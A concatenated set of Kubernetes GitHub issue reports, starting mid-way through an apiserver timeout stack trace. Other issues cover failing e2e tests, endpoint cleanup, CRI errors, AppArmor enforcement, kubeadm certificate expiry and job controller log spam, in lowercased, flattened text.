10:30:15.439742       1 wrap.go:42  post /apis/extensions/v1beta1/namespaces/default/deployments:  30.001743718s  504\r goroutine 253175  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc4262c1c70, 0x1f8 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:207 +0xdd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc4262c1c70, 0x1f8 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:186 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .writeheader 0xc42613e840, 0x1f8 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:201 +0xb5\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.  responsewriterdelegator .writeheader 0xc4279f8210, 0x1f8 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:173 +0x45\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.serializeobject 0x48af8be, 0x10, 0x7fed7a78d070, 0xc4264a38c0, 0x9a9e640, 0xc422ac79e8, 0xc421874400, 0x1f8, 0x9a81dc0, 0xc4264a3830 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:91 +0x8d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x7fed7a6e41b8, 0xc4299cbfb0, 0x9aa2000, 0xc4219cee40, 0x489834b, 0xa, 0x4890bd4, 0x7, 0x9a9e640, 0xc422ac79e8, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:113 +0x220\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x7fed7a6e41b8, 0xc4299cbfb0, 0x9a6bb40, 0xc4264a37a0, 0x9aa2000, 0xc4219cee40, 0x489834b, 0xa, 0x4890bd4, 0x7, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:132 +0x16b\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  requestscope .err 0xc429ea8a00, 0x9a6bb40, 0xc4264a37a0, 0x9a9e640, 0xc422ac79e8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:80 +0x10e\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.createhandler.func1 0x9a9e640, 0xc422ac79e8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:478 +0x113a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints.restfulcreateresource.func1 0xc4279f8030, 0xc42cb76240 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/installer.go:1069 +0xd5\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc4279f8030, 0xc42cb76240 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:145 +0x207\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc420ec06c0, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277 +0xb8d\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc420ec06c0, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:199 +0x57\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x48a6adb, 0xe, 0xc420ec06c0, 0xc4208a4cb0, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:153 +0x6e7\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc420c0b4e0, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         <autogenerated>:69 +0x86\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc42b477480, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:91 +0x122\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc42b47fc00, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x3dd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc4241c1180, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x72\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x48ab319, 0xf, 0xc42770b4d0, 0xc4241c1180, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x301\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc424c3fde0, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         <autogenerated>:69 +0x86\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:51 +0x37a\r net/http.handlerfunc.servehttp 0xc4282045f0, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:98 +0x5a0\r net/http.handlerfunc.servehttp 0xc424475cc0, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x21b2\r net/http.handlerfunc.servehttp 0xc428204640, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:79 +0x2b0\r net/http.handlerfunc.servehttp 0xc428204690, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xef\r net/http.handlerfunc.servehttp 0xc424c3fe00, 0x7fed701d2b40, 0xc422ac79d8, 0xc421874400 \r         /usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc424c3fe80, 0x9aa5640, 0xc422ac79d8, 0xc421874400, 0xc42cb76120 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:106 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:108 +0x1ca\r \r logging error output: \ {\\\ kind\\\ :\\\ status\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ timeout: request did not complete within allowed duration\\\ ,\\\ reason\\\ :\\\ timeout\\\ ,\\\ details\\\ :{},\\\ code\\\ :504}\ \ \r    kubectl/v1.8.2+coreos.0  linux/amd64  kubernetes/4c0769e  10.0.0.33:38304 \r i1220 10:30:15.497238       1 wrap.go:42  get /apis/admissionregistration.k8s.io/v1alpha1/initializerconfigurations:  2.892078ms  200   hyperkube/v1.8.2+coreos.0  linux/amd64  kubernetes/4c0769e  127.0.0.1:54426 \r i1220 10:30:15.707636       1 wrap.go:42  get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  3.245752ms  200   hyperkube/v1.8.2+coreos.0  linux/amd64  kubernetes/4c0769e/leader-election  127.0.0.1:56518 \r i1220 10:30:15.726583       1 wrap.go:42  put /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  17.391995ms  200   hyperkube/v1.8.2+coreos.0  linux/amd64  kubernetes/4c0769e/leader-election  127.0.0.1:56518 \r i1220 10:30:16.015625       1 wrap.go:42  get /apis/admissionregistration.k8s.io/v1alpha1/externaladmissionhookconfigurations:  4.971095ms  200   hyperkube/v1.8.2+coreos.0  linux/amd64  kubernetes/4c0769e  127.0.0\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.83\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : 4.4.0-104-generic\r - install tools: kubespray\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r if create a endpoint independently, restart kubernetes master, this endpoint was deleted.\r https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/endpoint/endpoints_controller.go l531\r this function do some cleanup when master restart. but if we want create a endpoint for other purpose, not for service. so this function is redundant.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r

currently, the cri does not return any structured errors such that the kubelet code can, for example, distinguish between a \ runtime not available\  error or a \ container not found\  error.\r \r see https://github.com/kubernetes/kubernetes/pull/63334 for an example.\r \r the kubelet has many paths where a \ container not found\  error is no big deal and the error could be treated harmlessly and not logged.  but since these methods do not return structured errors, there is no reliable way to tell them apart.\r \r discussed in sig-node 5/1/18.\r \r @smarterclayton @derekwaynecarr @dchen1107 @vishh @dashpole

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  sig-release-master-upgrade gce-master-new-downgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-master-new-downgrade-cluster \r \r   which test s  are failing  :\r -  upgradetest  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1077 \r -   sig-cluster-lifecycle  downgrade  feature:downgrade  cluster downgrade should maintain a functioning cluster  feature:clusterdowngrade   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1077 \r -   sig-apps  replicaset-upgrade  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1077 \r -  hpa-upgrade  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1077 \r \r   since when has it been failing  :\r november 8th, 2018\r \r   reason for failure  :\r they all fail with:\r    \r get https://<redacted>/apis/apps/v1/namespaces/e2e-tests-sig-apps-replicaset-upgrade-fhrmc/replicasets/rs: dial tcp <redacted>:443: connect: connection refused\r not to have occurred\r    \r \r <!-- do not edit below this line -->\r 

when creating a vagrant based cluster, the master_ip and minion_ip_base appear to be hardwired to 10.245.1.2 and 10.245.1., respectively, in kubernetes/cluster/vagrant/config-default.sh.  this breaks an environment in which the 10.245.1 subnet has already been assigned  and can't easily be changed .  please provide a simple mechanism to override these default values.  one approach would be to accept the values of existing environment variables master_ip and minion_ip_base.

environment: centos7 + kubenetes1.1.7 + etcd2.0.12 + docker-engine-1.8.3  i want to move the kubernetes master service to another namespace named \ kube-system\  instead of the default namespace \ default\ . so i change the \ --master-service-namespace\   option of kube-apiserver to \ kube-system\ , but it did not work at all.   service info of the \ default\  namespace as below. $kubectl get svc   name         cluster_ip   external_ip   port s    selector   age kubernetes   172.16.0.1   <none>        443/tcp   <none>     9m  is there something i forgot to setup? please help me.

kubectl.go, examples.go, and other e2e tests need the repository root.  overall, we have ~ 30 different dependencies   it \ ...\     in the e2es referencing files from examples/ docs/ ...  this is specified via  repo-root  at the moment.    problem   - this makes the shipped binary  e2e.test  unusable for  conformance  testing,  since some conformance specs rely on files that ship w/ kube. -  this also forces hacky bootstrappy things like needing to make a tarball, clone a repo, check out a commit -  just to run the e2es.    goal    these can all be eliminated permanantly, making the binary completely self sufficient for e2e testing.    solution    looks like its easy to serialize docs/examples as code:       ➜  kubernetes git: kubectl-files  ✗  ~/development/gopath/bin/go-bindata -o docs.go ./docs  ➜  kubernetes git: kubectl-files  ✗  ~/development/gopath/bin/go-bindata -o examples.go ./examples ➜  kubernetes git: kubectl-files  ✗ ls -altrhy docs.go        and you get some minified go files...      ➜  kubernetes git: kubectl-files  ✗ ls -altrh docs.go  -rw-r--r--  1 jayunit100  staff    74k apr  7 14:03 docs.go ➜  kubernetes git: kubectl-files  ✗ ls -altrh examples.go  -rw-r--r--  1 jayunit100  staff    52k apr  7 14:03 examples.go      then you can call functions on those files in the tests, telling them to create the assets, by calling functions in the generated files that recreate the static files:      107  108 func examplesreadmemd     asset, error  { 109         bytes, err := examplesreadmemdbytes   110         if err != nil { 111                 return nil, err 112         } 113  114         info := bindatafileinfo{name: \ examples/readme.md\ , size: 2368, mode: os.filemode 420 , modtime: time.unix 1458824586, 0 } 115         a := &asset{bytes: bytes, info: info} 116         return a, nil 117 }      should this be part of the build, rather than needing  --repo-root  for the e2es ? that way they just bootstrap themselves using the  asset ...   thingy.   cc @kubernetes/sig-testing  .....

example use case:  > i specify an apparmor profile to run my pod with. i'm expecting the pod to be attacked, so i want to guarantee it won't run without the apparmor profile applied.  as long as the kubelet is running a version with apparmor support, it can be loaded up with all the validation to ensure that the pod will only run with the profile enforced. however, if the kubelet is running an older version, it will happily ignore the apparmor field.  do we have any existing mechanisms to address this issue? i know a savvy user could add an apparmor label to nodes that support it and an apparmor nodeselector to each pod, but unless we automatically add the nodeselector, it would not honor the podsecuritypolicy, and is vulnerable to error.  i propose adding a  minkubeletversion  field to pods  or optionally, the podsecuritycontext  that is enforced by the scheduler  and the kubelet as a fallback . features that must be enforced would increase that version as needed  but never decrease . this would still be vulnerable if the kubectl client supported this feature  or a direct rest request was sent  and the master did not, but at least in that case the options would be missing with  get pod  or  describe pod   or enforce it in  kubectl  directly .  /cc @lavalamp @kubernetes/sig-scheduling @kubernetes/sig-node @sttts

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-subnet/1401/ multiple broken tests:  failed:  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule pets if there is a network partition  slow   disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:432 mar 16 21:37:22.835: failed waiting for pods to enter running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:923     issues about this test specifically:  37774   failed:  k8s.io  generated release_1_5 clientset should create pods, delete pods, watch pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/generated_clientset.go:188 expected error:     < errors.errorstring | 0xc4203bf890>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/generated_clientset.go:169     issues about this test specifically:  42724   failed:  k8s.io  kubectl client  k8s.io  simple pod should support exec {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:377 expected     <bool>: false to be true /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:376     issues about this test specifically:  28426  32168  33756  34797   failed:  k8s.io  statefulset  k8s.io  basic statefulset functionality should provide basic identity {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:141 mar 16 21:58:25.218: failed waiting for pods to enter running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:923     issues about this test specifically:  37361  37919   failed:  k8s.io  stateful set recreate should recreate evicted statefulset {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:501 mar 16 23:41:56.849: pod test-pod did not start running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:456       failed: test {e2e.go}      error during ./hack/ginkgo-e2e.sh: exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025   failed:  k8s.io  pods should allow activedeadlineseconds to be updated  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:351 expected error:     < errors.errorstring | 0xc4203bf890>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:67     issues about this test specifically:  36649   failed:  k8s.io  statefulset  k8s.io  basic statefulset functionality scaling should happen in predictable order and halt if any pet is unhealthy {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:347 mar 16 20:27:31.613: failed waiting for pods to enter running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:923     issues about this test specifically:  38083   failed: diffresources {e2e.go}      error: 13 leaked resources   addresses   +name                              region       address         status +ab6aa629e0af611e7bc4642010af0001  us-central1  146.148.40.120  in_use   routes   +default-route-088350d933d1c05a  auto-subnet  10.240.0.0/16                            1000 +default-route-0acd75f62d44a530  auto-subnet  0.0.0.0/0      default-internet-gateway  1000   firewall-rules   +name                                     network      src_ranges  rules   src_tags  target_tags +k8s-fw-ab6a5f4330af611e7bc4642010af0001  auto-subnet  0.0.0.0/0   tcp:80            gke-auto-subnet-4033f949-node +k8s-fw-ab6aa629e0af611e7bc4642010af0001  auto-subnet  0.0.0.0/0   udp:81            gke-auto-subnet-4033f949-node   forwarding-rules   +name                              region       ip_address       ip_protocol  target +ab6a5f4330af611e7bc4642010af0001  us-central1  104.197.222.166  tcp          us-central1/targetpools/ab6a5f4330af611e7bc4642010af0001 +ab6aa629e0af611e7bc4642010af0001  us-central1  146.148.40.120   udp          us-central1/targetpools/ab6aa629e0af611e7bc4642010af0001   target-pools   +name                              region       session_affinity  backup  health_checks +ab6a5f4330af611e7bc4642010af0001  us-central1 +ab6aa629e0af611e7bc4642010af0001  us-central1     issues about this test specifically:  33373  33416  34060  40437  40454  42510  43153   failed:  k8s.io  deployment recreatedeployment should delete old pods and create new ones {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:71 expected error:     < errors.errorstring | 0xc42244e010>: {         s: \ failed to wait for pods running:  timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:423     issues about this test specifically:  29197  36289  36598  38528   failed:  k8s.io  deployment rollingupdatedeployment should scale up and down in the right order {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:68 expected error:     < errors.errorstring | 0xc4215b6020>: {         s: \ failed to wait for pods running:  timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:371     issues about this test specifically:  27232  previous issues for this suite:  37341  38356  38582  39186  39799  43160

add a deploymentantiaffinity similar to  serviceantiaffinity  https://github.com/kubernetes/kubernetes/blob/749ac27e9a608296a169a62b158181440cbddb19/plugin/pkg/scheduler/algorithm/priorities/selector_spreading.go l194  , so that we could spread pods of a deployment by custom node label e.g idc/carrier/operator .\r \r for more detail, please refer to  46568

example: https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/apps/statefulset/registry.go l32\r \r these do essentially only type-casts, do not simplify the code otherwise.

what happened  :\r \r currently cloud-controller-manager use   restclient.serverapiversions      https://github.com/kubernetes/kubernetes/blob/master/cmd/cloud-controller-manager/app/controllermanager.go l263-l269  to wait for apiserver to be healthy.\r we should deprecate or remove  serverapiversions  and make use of  /healthz  as all other components do.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  kubectl create deployment  does not work if we specify docker image\r with hash.\r \r    \r $ kubectl create deployment mariadb  --image=docker.io/centos/mariadb-102-centos7@sha256:fca5b3ad8e9887beeeebb49f71dd3d0d62c94632d6cfdee74192f68309e95ceb\r the deployment \ mariadb\  is invalid: spec.template.spec.containers 0 .name: invalid value: \ mariadb-102-centos7@sha256\ : a dns-1123 label must consist of lower case alphanumeric characters or '-', and must start and end with an alphanumeric character  e.g. 'my-name',  or '123-abc', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ?' \r    \r \r   what you expected to happen  :\r \r - container name should drop  @sha256  from  mariadb-102-centos7@sha256 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just following one command only\r \r    \r $ kubectl create deployment mariadb  --image=docker.io/centos/mariadb-102-centos7@sha256:fca5b3ad8e9887beeeebb49f71dd3d0d62c94632d6cfdee74192f68309e95ceb\r    \r \r   anything else we need to know?  :\r \r proposal patch: https://github.com/kubernetes/kubernetes/pull/62253 \r

as a consumer of the jobs api, i'd like to set up my job such that it is not restarted on code  application running inside a container  failure, but is restarted on node  or infrastructure  failure. that seems to be not possible today where the best i can do as a user is set the backoff policy to be  1  which would mean my buggy job would be run twice at minimum. this is not ideal whenever the jobs are long running and/or consuming expensive resources like hardware accelerators. \r iiuc, this is a fundamental limitation of the jobs api/controller. i'm filing this issue to see if there are any other workarounds and to understand if this is a common problem for other k8s users. \r \r @kubernetes/sig-apps-bugs @kow3ns @janetkuo

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r the tests currently manually create the csidriver object, but they should be created by driver-registrar sidecar instead.\r \r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r add a certificatesexpiry option in kubeadm config file to sign certificates with longer expiration time.\r \r    yaml\r apiservercertsans:\r - x.x.x.x\r - x.x.x.x\r - x.x.x.x\r apiserverextraargs:\r   apiserver-count: \ 3\ \r auditpolicy:\r   logdir: /var/log/kubernetes/audit\r   logmaxage: 2\r   path: \ \ \r authorizationmodes:\r - node\r - rbac\r certificatesdir: /etc/kubernetes/pki\r certificatesexpiry: \ 175200h\ \r cloudprovider: \ \ \r crisocket: /var/run/dockershim.sock\r etcd:\r   cafile: \ \ \r   certfile: \ \ \r   datadir: /var/lib/etcd\r   endpoints:\r   - http://x.x.x.x:2379\r   - http://x.x.x.x:2379\r   - http://x.x.x.x:2379\r   image: \ \ \r   keyfile: \ \ \r    \r \r   why is this needed  :\r \r when build a kubernetes cluster, we use kubeadm to generate all kinds of https certificates, the certificates expiry are hard coded for 1 year, in our use cases, we want to sign the certificates with a longer expiration time. and i'm happy to submit a pr to add this  certificatesexpiry  option :

in kubelet.go registerwithapiserver, if a node api object already exists with a different externalid, the kubelet attempts to delete/recreate the node api object.  if we expect this value to be able to mutate, why not allow mutation in update?  the current behavior requires giving nodes the ability to delete node api objects, which seems bad.  i would also expect node deletion to potentially evacuate pods on the node, which also seems bad.

this is obtuse to explain so i will try my best...   in the storage layer we decode objects that come in off the wire from etcd.  that's all objects, irrespective of what we use higher up the stack.  these are kept as raw fully unpacked api-objects in memory.    from there we construct a series of caches, typically from the key, which is actually a mundging of the meta-data of that object.  that representation is never reflected into the object for fast access, instead we always reconstruct keys in filter-functions using the meta-data.  from there, that data is then passed through the registry and re-encoded to transfer over the wire, even though we've never used 90 of it's decoded state.    so ... thoughts on fixing?    almost seems like and mvc problem.   /cc @kubernetes/sig-scalability @smarterclayton @jeremyeder

follow on from: https://github.com/kubernetes/kubernetes/pull/37039 \r \r two items should be cleaned up: \r \r 1. any remaining structs named etcd \r 2. import renaming should follow the last two dirs pattern \r    configmapstore \ k8s.io/kubernetes/pkg/registry/core/configmap/storage\     - should be configmapstorage\r \r \r

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ unable to get uid from job\ , review titles of all open/closed issues in this project in the result.\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r ~~~~\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r ~~~~\r \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube on linux\r \r \r   what happened  :\r i have a couple of jobs defined, which execute once and then are done for good. recently i looked into a suspicious high cpu usage by my minikube vm, and noticed that it is logging something like this for every job:\r ~~~~\r mar 28 08:40:31 minikube localkube 17880 : e0328 08:40:31.241671   17880 utils.go:91  unable to get uid from job job-name in namespace namespace\r ~~~~\r \r this happens every 10s.\r \r   what you expected to happen  : no such log messages.\r \r   how to reproduce it    as minimally and precisely as possible :\r from reading through the code: deploy a job  not a cronjob .\r \r   anything else we need to know  :\r i've looked through the code that logs this message, and it seems that this is part of the scheduledjobs logic. i'm seriously wondering why it is looking at these jobs in the way it does, rather than searching for the jobs it needs based on the names scheduled jobs and some label-magic. it also feels wrong to have these checks happen continuously, as this smells like it would get slower and slower the more jobs i have  both scheduled and non-scheduled .\r \r

